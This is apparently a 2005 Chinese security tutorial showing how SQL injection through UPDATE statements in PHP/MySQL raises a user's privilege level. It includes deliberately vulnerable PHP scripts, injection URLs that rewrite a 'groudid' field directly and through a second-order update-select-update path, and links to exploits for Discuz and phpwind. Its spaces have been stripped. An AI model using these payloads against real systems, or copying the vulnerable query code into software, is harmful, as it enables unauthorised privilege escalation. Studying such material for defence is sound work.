UPDATE注射(mysql+php)的两个模式 文/安全天使·SuperHei2005.8.11 一.测试环境: OS:Windowsxpsp2 php:php4.3.10( mysql4.1.9 apache1.3.33 二.测试数据库结构: -----start--- --数据库:`test` -- ---------------------------------------------------------- -- --表的结构`userinfo` -- CREATETABLE`userinfo`( `groudid`varchar(12)NOTNULLdefault’1’, `user`varchar(12)NOTNULLdefault’heige’, `pass`varchar(122)NOTNULLdefault’123456’ )ENGINE=MyISAMDEFAULTCHARSET=latin1; -- --导出表中的数据`userinfo` -- INSERTINTO`userinfo`VALUES(’2’,’heige’,’123456’); ------end------- 三.测试模式: 1,变量没有带’’或""[MOD1] <?php //test1.phpMod1 $servername="localhost"; $dbusername="root"; $dbpassword=""; $dbname="test"; mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败"); $sql="updateuserinfosetpass=$pwhereuser=’heige’";//<--$P没有使用单引号 $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo"
SQLQuery:$sql
"; ?> 脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p来达 到修改groupid的目的: 那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1 在mysql里查询: mysql>select*fromuserinfo; +---------+-------+--------+ |groudid|user|pass| +---------+-------+--------+ |1|heige|123456| +---------+-------+--------+ 1rowinset(0.01sec) 用户heige的groudid又2改为1了:) 所以我们可以得到没有’’或""update的注射是可以成功的,这个就是我们的模式1。 2,变量带’’或""[MOD2] <?php //test2.php $servername="localhost"; $dbusername="root"; $dbpassword=""; $dbname="test"; mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败"); $sql="updateuserinfosetpass=’$p’whereuser=’heige’";//<--$P使用单引号 $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo"
SQLQuery:$sql
"; ?> 为了关闭’我们构造$p应该为123456’,groudid=’2提交: http://127.0.0.1/test2.php?p=123456’,groudid=’1在gpc=on的情况下’变成了\’ 提交的语句变成:SQLQuery:updateuserinfosetpass=’123456\’,groudid=\’1’whereuser=’heige’ mysql查询: mysql>select*fromuserinfo; +---------+-------+--------------------+ |groudid|user|pass| +---------+-------+--------------------+ |2|heige|123456’,groudid=’1| +---------+-------+--------------------+ 1rowinset(0.00sec) groudid并没有被修改。那么在变量被’’或""时就完全没有被注射呢?不是下面我们看模式2: <?php //test3.phpMod2 $servername="localhost"; $dbusername="root"; $dbpassword=""; $dbname="test"; mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败"); $sql="updateuserinfosetpass=’$p’whereuser=’heige’";//<--$P使用单引号 $result=mysql_db_query($dbname,$sql); mysql_fetch_array($result);//$p的数据写入数据库 $sql="selectpassfromuserinfowhereuser=’heige’"; $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo$userinfo[0];//把pass查询输出给$userinfo[0] $sql="updateuserinfosetpass=’$userinfo[0]’whereuser=’heige’"; $result=mysql_db_query($dbname,$sql); mysql_fetch_array($result);//把$userinfo[0]再次update ?> 我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1 回mysql查询下: mysql>select*fromuserinfo; +---------+-------+--------+ |groudid|user|pass| +---------+-------+--------+ |1|heige|123456| +---------+-------+--------+ 1rowinset(0.00sec) HaHa~~成功注射修改groudid为1。这个就是我们的模式2了,简单的描叙如下: update-->select-->update 四.实际模式 模式1:Discuz2.0/2.2register.php注射 漏洞分析:http://4ngel.net/article/41.htm Discuz2.0/2.2register.phpRemoteExploit:http://4ngel.net/project/discuz_reg.htm 模式2:phpwind2.0.2和3.31e权限提升漏洞 漏洞分析: update(profile.php注射变量为$proiconupdate语句里为,icon=’$userdb[icon]’) | v select(jop.php) | v updtate(jop.php) Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe 五.鸣谢 特别感谢saiy等朋友的讨论和帮助。Thanks!!!